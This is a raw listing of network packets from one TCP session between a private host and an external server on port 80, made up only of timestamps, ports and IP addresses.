Oct 13, 2024 14:49:23.688215017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688265085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688277006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688309908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688332081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688384056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688396931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688435078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688461065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688482046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688502073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688550949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688564062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688597918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688617945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688664913 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.688877106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.688930988 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.764591932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.764739990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.764856100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.764873028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.764889956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.764906883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.765026093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.765043020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.765050888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.765050888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.765050888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.765050888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.765189886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.765189886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767066002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767119884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767141104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767157078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767179966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767203093 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767328978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767344952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767360926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767374992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767391920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767416954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767416954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767452002 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767564058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767620087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767637014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767652988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767678976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767709970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.767909050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767925024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767941952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.767981052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768022060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768066883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768084049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768100023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768110037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768115997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768135071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768143892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768143892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768151999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768166065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768186092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768204927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768497944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768516064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768536091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768560886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768759012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768784046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768799067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768805027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768815041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768831015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768840075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768848896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768865108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768860102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768879890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768887997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768887997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768896103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768912077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768922091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768928051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.768956900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.768976927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769601107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769615889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769632101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769644976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769646883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769664049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769669056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769678116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769694090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769691944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769710064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769718885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769718885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769726038 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769732952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769748926 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769766092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769781113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.769789934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769789934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769834042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.769834042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770560980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770577908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770592928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770608902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770612001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770625114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770632982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770641088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770656109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770668030 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770670891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770687103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770694971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770703077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770719051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770715952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770735025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770741940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770750046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.770761967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.770792961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.771455050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.771471977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.771487951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.771502972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.771509886 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.771518946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.771532059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.771555901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.771580935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.808140039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.808198929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.808211088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.808208942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.808291912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.808291912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.809006929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.809073925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.809084892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.809098005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.809125900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.809158087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.809911013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.809961081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.809967041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.809981108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.810026884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.810398102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.810457945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.810460091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.810472965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.810502052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.810528994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.811625004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.811675072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.811688900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.811705112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.811727047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.811752081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.811913013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.811929941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.811945915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.811954021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.811961889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.811979055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812000036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812000036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812153101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812221050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812247992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812263012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812278032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812283993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812294006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812305927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812334061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812525034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812541008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812556028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812562943 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812568903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812582970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812585115 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812604904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812621117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812622070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812638044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812644005 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812653065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812664986 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812671900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812680960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812686920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812702894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812706947 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812720060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.812722921 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812746048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.812776089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813440084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813455105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813469887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813476086 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813483953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813498020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813498020 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813519001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813534975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813565016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813739061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813752890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813782930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813803911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813806057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813822031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813838005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813846111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813853025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813863039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813868999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813884974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.813889980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813910007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813924074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.813946962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.853266954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.853338003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.853353024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.853401899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.853401899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.853401899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.853530884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.853547096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.853564024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.853568077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.853579044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.853596926 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.853604078 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.853625059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.855865002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.855918884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.855959892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.855974913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856012106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856148005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856163979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856178045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856189013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856194019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856209040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856218100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856239080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856266022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856468916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856514931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856540918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856555939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856578112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856609106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856698990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856714010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856741905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856769085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856833935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856848955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856863022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.856869936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856895924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.856920958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857038021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857053041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857067108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857074976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857081890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857098103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857098103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857112885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857119083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857120037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857141018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857156992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857418060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857430935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857481956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857481956 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857572079 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857588053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857604027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857609987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857619047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857626915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857641935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857650042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857664108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857666016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857685089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857696056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857701063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.857728004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857748032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.857778072 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858247995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858263016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858278036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858293056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858299971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858306885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858320951 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858323097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858355045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858380079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858570099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858583927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858617067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858644962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858697891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858714104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858730078 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858736992 CEST	49720	80	192.168.2.6	185.215.113.37
